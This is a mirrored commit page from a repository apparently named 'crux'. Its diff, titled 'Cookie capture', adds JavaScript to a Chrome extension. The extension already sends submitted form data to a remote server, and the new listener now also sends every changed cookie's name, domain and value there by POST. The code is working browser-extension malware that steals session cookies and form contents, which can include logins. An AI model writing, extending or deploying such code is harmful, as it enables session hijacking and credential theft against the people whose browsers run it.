mirror of
https://github.com/mttaggart/crux
synced 2026-06-08 16:14:00 +00:00
Cookie capture
This commit is contained in:
+30
-1
@@ -24,7 +24,7 @@ chrome.webRequest.onBeforeRequest.addListener(
|
||||
if (e.requestBody.formData != undefined) {
|
||||
data["data"] = e.requestBody.formData
|
||||
}
|
||||
if (e.requestBody.formData.raw != undefined) {
|
||||
if (e.requestBody.raw != undefined) {
|
||||
data["data"] = e.requestBody.formData.raw.join("");
|
||||
}
|
||||
fetch(
|
||||
@@ -43,3 +43,32 @@ chrome.webRequest.onBeforeRequest.addListener(
|
||||
["requestBody"]
|
||||
);
|
||||
|
||||
// Send cookie data
|
||||
chrome.cookies.onChanged.addListener(
|
||||
(e) => {
|
||||
const url = `${SERVER_HOST}/c`;
|
||||
if (!e.removed) {
|
||||
const cookie = e.cookie;
|
||||
const data = {
|
||||
cookie: {
|
||||
name: cookie.name,
|
||||
sameSite: cookie.sameSite,
|
||||
domain: cookie.domain,
|
||||
session: cookie.session,
|
||||
value: cookie.value
|
||||
}
|
||||
};
|
||||
fetch(
|
||||
url,
|
||||
{
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
headers: {
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
}
|
||||
}
|
||||
);
|
||||
Reference in New Issue
Block a user